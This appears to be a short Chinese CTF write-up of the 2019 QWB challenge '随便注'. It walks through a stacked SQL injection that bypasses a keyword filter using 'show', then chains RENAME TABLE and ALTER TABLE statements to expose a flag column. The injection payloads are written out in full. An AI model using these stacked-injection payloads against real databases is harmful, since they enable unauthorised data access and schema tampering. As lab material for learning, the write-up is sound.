堆叠注入
未过滤 alert rename  show
 
 2019强网杯 随便注 堆叠注入
 2019强网杯 随便注 堆叠注入
正则匹配过滤掉了经常使用的查询关键字,但是并没有禁用show,那么可以试下堆叠查询。
?inject=0'; show databases;%23
 
 
 
 
 
 2019强网杯 随便注 堆叠注入
 
 2019强网杯 随便注 堆叠注入
 
 2019强网杯 随便注 堆叠注入
 
发现flag字段
 
 
select id data from words where id = ?
 
查询的就是这张表里面的东西,我们无法改变sql语句,此时我们就可以改变数据库里面得数据结构
 
原始结构
1919810931114514    字段 flag
words                          字段 id data
 
 
 
 
 
1.将words表改名为words1或其它任意名字
 
2.1919810931114514改名为words
3.将flag列改名为id
原来flag放在1919810931114514表里,我们查询的语句友words这张表来回显,现在将1919810931114514表名改成words那么,我们查询的语句由1919810931114514来回显。
 
1';RENAME TABLE `words` TO `words1`;
# 把 words 改名为 words1
RENAME TABLE `1919810931114514` TO `words`;
# 数字表改名为 words
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;  //character set 即字符集  COLLATE utf8_general_ci:数据库校对规则
新的 words 里的 flag 列改为 id (避免一开始无法查询)
show columns from words;#
 
 
所有语句必须一起执行。
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
 
 2019强网杯 随便注 堆叠注入
 
 2019强网杯 随便注 堆叠注入
 

相关文章: